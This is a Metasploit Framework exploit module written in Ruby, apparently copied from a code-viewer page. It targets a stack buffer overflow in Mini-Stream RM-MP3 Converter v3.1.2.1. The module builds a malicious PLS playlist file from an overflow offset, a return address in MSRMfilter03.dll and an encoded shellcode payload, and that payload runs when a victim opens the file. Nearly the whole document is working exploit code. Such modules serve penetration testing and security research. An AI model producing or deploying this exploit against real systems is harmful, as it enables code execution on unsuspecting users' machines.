|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90  |  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = GreatRanking  include Msf::Exploit::FILEFORMAT  def initialize(info = {})  super(update_info(info,  'Name' => 'Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow',  'Description'=> %q{   This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3  Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim   opens the malicious PLS file.  },  'License'=> MSF_LICENSE,  'Author' =>  [  'Madjix', # original discovery  'Tiago Henriques',# metasploit module  'James Fitts' # clean ups  ],  'Version'=> '$Revision: $',  'References' =>  [  [ 'URL', 'http://www.exploit-db.com/exploits/14373/' ],  [ 'BID', '34514' ],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  'DisablePayloadHandler' => 'true',  },  'Payload'=>  {  'Space' => 1500,  'BadChars' => "\x00\x09\x0a",  'DisableNops' => 'True',  'StackAdjustment' => -3500,  'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",  'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  'EncoderOptions' =>  {  'BufferRegister' => 'ECX',  },  },  'Platform' => 'win',  'Targets'=>  [  [  'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30',  {  'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll  'Offset' => 17417  }   ]  ],  'Privileged' => false,  'DisclosureDate' => 'Jul 16 2010',  'DefaultTarget'=> 0))  register_options(  [  OptString.new('FILENAME', [ true, 'The file name.','msf.pls']),  ], self.class)  end  def exploit  pls ="http://"  pls << rand_text_alpha_upper(target['Offset'])  pls << [target.ret].pack('V')  pls << rand_text_alpha_upper(8)  pls << payload.encoded  print_status("Creating '#{datastore['FILENAME']}' file ...")  file_create(pls)  end end  |